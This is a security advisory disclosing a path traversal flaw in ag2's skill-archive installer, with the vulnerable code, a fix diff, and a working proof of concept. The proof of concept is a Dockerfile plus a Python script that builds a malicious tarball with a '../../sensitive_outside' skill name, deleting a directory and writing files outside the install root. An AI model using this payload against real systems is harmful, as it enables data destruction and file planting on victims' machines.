Path Traversal in Skill Archive Installation Enables Arbitrary File Write/Delete
Description
Path Traversal in Skill Archive Installation Enables Arbitrary File Write/Delete
Summary
The extract_skill() function in ag2's SkillSearchToolkit uses an attacker-controlled name field from a malicious skill archive's SKILL.md frontmatter as a filesystem path component without prior validation. This allows a remote attacker who publishes a crafted GitHub skill repository to cause a victim's system to (1) delete an arbitrary directory via shutil.rmtree() and (2) write attacker-controlled files to an arbitrary location via shutil.copytree(), both occurring before any sanitization check runs. The impact is high integrity loss and high availability loss (CVSS 8.1 High).
Details
The vulnerability resides in autogen/beta/tools/skills/skill_search/extractor.py at lines 113–130.
When a user calls SkillSearchToolkit.install_skill(), the following chain executes:
toolkit.py:160–182— The public async tool_install_skill(skill_id)accepts an attacker-supplied install identifier, splits it intosource/sid, and callsclient.download_skill(source, sid, runtime).client.py:95–112— GitHub tarball bytes from the attacker-controlledsourceare streamed totar_path.client.py:116— The downloaded tarball is passed toextract_skill(tar_path, skill_id, staging).extractor.py:104–108— The archive'sSKILL.mdis extracted to a temp directory and parsed as YAML frontmatter.extractor.py:113—skill_name = str(skill_fm["name"])captures the attacker-controlled name with no sanitization.extractor.py:116—final_dest = dest / skill_nameconstructs a path using the unsanitized name; a value such as../../sensitive_outsidecauses the path to escape the install root.extractor.py:117–119—shutil.rmtree(final_dest)deletes the resolved directory (arbitrary directory deletion), thenshutil.copytree(skill_content_dir, final_dest)writes attacker files there (arbitrary file write). Both side effects complete before validation.extractor.py:130—SkillLoader.validate_skill_metadata()is called only after the destructive operations, making it ineffective as a security control.
The regex-based name validation in local_skills/loader.py:151–154 (_SKILL_NAME_RE) correctly rejects traversal strings, but it is invoked too late — after rmtree and copytree have already executed.
A secondary, independent path traversal exists in runtime/local.py:94–95, where LocalRuntime.install() constructs dest = self._install_dir / name without any containment check.
Vulnerable code excerpt (extractor.py:113–130):
skill_name = str(skill_fm["name"]) # attacker-controlled, no sanitization
fm_str = {k: str(v) for k, v in skill_fm.items()}
final_dest = dest / skill_name # path traversal: '..' in name escapes dest
if final_dest.exists():
shutil.rmtree(final_dest) # arbitrary directory DELETE — before validation
shutil.copytree(skill_content_dir, final_dest) # arbitrary file WRITE — before validation
meta = SkillMetadata(
name=skill_name,
...
)
SkillLoader.validate_skill_metadata(final_dest, skill_fm, meta) # TOO LATERecommended fix — move validation before all filesystem side effects and add a resolved-path containment check:
- final_dest = dest / skill_name
+ final_dest = (dest / skill_name).resolve()
+ dest_root = dest.resolve()
+ meta = SkillMetadata(name=skill_name, ...)
+ SkillLoader.validate_skill_metadata(Path(skill_name), skill_fm, meta)
+ if not final_dest.is_relative_to(dest_root):
+ raise SkillInstallError(f"Skill name escapes install directory: {skill_name!r}")
if final_dest.exists():
shutil.rmtree(final_dest)
shutil.copytree(skill_content_dir, final_dest)
- meta = SkillMetadata(name=skill_name, ...)
- SkillLoader.validate_skill_metadata(final_dest, skill_fm, meta)For defense-in-depth, LocalRuntime.install() should also validate the name and assert path containment before use.
PoC
Environment setup:
python3 -m venv /tmp/ag2-poc-venv
/tmp/ag2-poc-venv/bin/pip install ag2==0.13.2Reproduce with the provided Docker environment:
# Build the image (run from the repository root, where vuln-001/ and repo/ are present)
docker build -f vuln-001/Dockerfile -t vuln-001-poc .
# Run the PoC
docker run --rm vuln-001-pocThe Dockerfile pre-creates /app/sensitive_outside/secret.txt to demonstrate rmtree deletion, then runs poc.py which:
- Constructs a malicious
tar.gzcontaining aSKILL.mdwithname: ../../sensitive_outside. - Adds
marker.txt(attacker-controlled payload file) inside the tarball. - Calls
extract_skill(tar_path, "", staging)wherestagingis inside/app/install_root.
Expected output:
============================================================
VULN-001 PoC: Path Traversal in extract_skill()
============================================================
[*] Install root : /app/install_root
[*] Outside dir : /app/sensitive_outside
[*] Traversal payload: name = '../../sensitive_outside'
[*] PRE-ATTACK: /app/sensitive_outside/secret.txt exists => 'ORIGINAL SENSITIVE FILE - should be DELETED by path traversal rmtree'
[*] Malicious tarball built: /tmp/.../malicious_skill.tar.gz
[*] Calling extract_skill(tar_path, skill_id='', dest=/app/install_root/staging)
[*] Exception raised (as expected): InvalidSkillError: Invalid skill name '../../sensitive_outside': expected lowercase alnum and single hyphens
--- POST-ATTACK VERIFICATION ---
[*] /app/sensitive_outside/secret.txt DELETED : True
[*] /app/sensitive_outside/marker.txt EXISTS : True
[*] marker.txt content : 'PWNED: written outside install root by path traversal'
[RESULT] PASSThe output confirms that the existing sensitive directory was deleted and attacker-controlled files were written outside the install root, all before InvalidSkillError was raised.
Impact
This is a path traversal (CWE-22) vulnerability with two chained primitives:
- Arbitrary directory deletion: Any directory writable by the process running
install_skill()can be erased viashutil.rmtree()by crafting thenamefield with../sequences. - Arbitrary file write: Attacker-controlled files from the malicious tarball are copied to any writable path via
shutil.copytree().
Who is impacted: Any user or application that uses SkillSearchToolkit from autogen.beta.tools (ag2 ≤ 0.13.2) and installs skills from untrusted or attacker-controlled GitHub repositories. No authentication to the ag2 package itself is required; the only prerequisite is that the victim runs install_skill() pointing at the attacker's repository. The attack is network-delivered (attacker publishes a malicious GitHub repo) and requires user interaction (victim triggers the install). An attacker can leverage this to overwrite application files, inject malicious code into the running environment, or delete critical data directories.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
git \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the ag2 repository source
COPY repo/ /app/repo/
# Install ag2 from local source (minimal install, no optional extras needed)
RUN pip install --no-cache-dir /app/repo/
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
# Set up directories for the PoC
# /app/install_root - legitimate install root (the victim's skill directory)
# /app/install_root/../sensitive_outside == /app/sensitive_outside - target outside install root
RUN mkdir -p /app/install_root
# Pre-create the "sensitive" directory that exists BEFORE the attack to prove rmtree fires
RUN mkdir -p /app/sensitive_outside && \
echo "ORIGINAL SENSITIVE FILE - should be DELETED by path traversal rmtree" \
> /app/sensitive_outside/secret.txt
CMD ["python3", "/app/poc.py"]poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Path Traversal in extract_skill() enables arbitrary file write/delete
(CWE-22, CVSS 8.1 High)
Affected code: autogen/beta/tools/skills/skill_search/extractor.py:113-130
Root cause:
skill_name = str(skill_fm["name"]) # attacker-controlled, no sanitization
final_dest = dest / skill_name # path traversal via '..' in skill_name
shutil.rmtree(final_dest) # arbitrary dir DELETE fires BEFORE validation
shutil.copytree(skill_content_dir, final_dest) # arbitrary file WRITE fires BEFORE validation
SkillLoader.validate_skill_metadata(...) # validation is TOO LATE - side effects already done
Expected outcome (PASS):
1. /app/sensitive_outside/secret.txt is DELETED (rmtree side effect before validation)
2. /app/sensitive_outside/marker.txt is CREATED (copytree side effect before validation)
3. InvalidSkillError is raised (proves validation runs, but after the damage)
"""
import shutil
import sys
import tarfile
import tempfile
from pathlib import Path
# --- Paths ---
INSTALL_ROOT = Path("/app/install_root") # legitimate install destination (victim's dir)
OUTSIDE_DIR = Path("/app/sensitive_outside") # directory OUTSIDE install root
# The malicious skill name uses path traversal to escape install_root:
# INSTALL_ROOT / "../../sensitive_outside" => /app/sensitive_outside
MALICIOUS_NAME = "../../sensitive_outside"
def build_malicious_tarball(tar_path: Path, content_dir: Path) -> None:
"""Build a tar.gz containing a SKILL.md with a path-traversal name."""
skill_dir = content_dir / "malicious-repo-root"
skill_dir.mkdir(parents=True)
# SKILL.md with the traversal payload in the 'name' field
(skill_dir / "SKILL.md").write_text(
f"---\n"
f"name: {MALICIOUS_NAME}\n"
f"description: innocent-looking skill\n"
f"---\n\n"
f"Skill documentation goes here.\n",
encoding="utf-8",
)
# Payload file that will be written outside the install root
(skill_dir / "marker.txt").write_text(
"PWNED: written outside install root by path traversal\n",
encoding="utf-8",
)
with tarfile.open(tar_path, "w:gz") as tar:
tar.add(skill_dir, arcname="malicious-repo-root")
def run_poc() -> int:
"""
Execute the PoC.
Returns 0 if vulnerability confirmed (PASS), 1 otherwise (FAIL).
"""
print("=" * 60)
print("VULN-001 PoC: Path Traversal in extract_skill()")
print("=" * 60)
# --- Pre-conditions ---
print(f"\n[*] Install root : {INSTALL_ROOT}")
print(f"[*] Outside dir : {OUTSIDE_DIR}")
print(f"[*] Traversal payload: name = {MALICIOUS_NAME!r}")
secret_file = OUTSIDE_DIR / "secret.txt"
if secret_file.exists():
print(f"\n[*] PRE-ATTACK: {secret_file} exists => {secret_file.read_text().strip()!r}")
else:
print(f"\n[!] WARNING: {secret_file} not found - rmtree demo may be incomplete")
# --- Build malicious tarball ---
with tempfile.TemporaryDirectory() as td:
td_path = Path(td)
tar_path = td_path / "malicious_skill.tar.gz"
build_malicious_tarball(tar_path, td_path)
print(f"\n[*] Malicious tarball built: {tar_path}")
# Staging directory INSIDE install root (as the real code uses)
staging = INSTALL_ROOT / "staging"
staging.mkdir(parents=True, exist_ok=True)
# --- Import the vulnerable function ---
from autogen.beta.tools.skills.skill_search.extractor import extract_skill
raised_exception = None
try:
print(f"\n[*] Calling extract_skill(tar_path, skill_id='', dest={staging})")
extract_skill(tar_path, "", staging)
print("[!] extract_skill() returned WITHOUT exception - unexpected")
except Exception as exc:
raised_exception = exc
print(f"\n[*] Exception raised (as expected): {type(exc).__name__}: {exc}")
# --- Verify side effects ---
print("\n--- POST-ATTACK VERIFICATION ---")
marker_file = OUTSIDE_DIR / "marker.txt"
secret_deleted = not secret_file.exists()
marker_created = marker_file.exists()
print(f"[*] {secret_file} DELETED : {secret_deleted}")
print(f"[*] {marker_file} EXISTS : {marker_created}")
if marker_created:
content = marker_file.read_text(encoding="utf-8").strip()
print(f"[*] marker.txt content : {content!r}")
print()
if raised_exception and marker_created:
print("[+] VULNERABILITY CONFIRMED:")
print(f" - Files written OUTSIDE install root: {OUTSIDE_DIR}")
print(f" - rmtree deleted existing sensitive dir: {secret_deleted}")
print(f" - copytree wrote attacker files : {marker_created}")
print(f" - InvalidSkillError raised AFTER side effects (too late)")
print("\n[RESULT] PASS")
return 0
else:
print("[-] VULNERABILITY NOT CONFIRMED:")
if not marker_created:
print(f" - marker.txt NOT found at {marker_file}")
if not raised_exception:
print(" - No exception raised (unexpected)")
print("\n[RESULT] FAIL")
return 1
if __name__ == "__main__":
sys.exit(run_poc())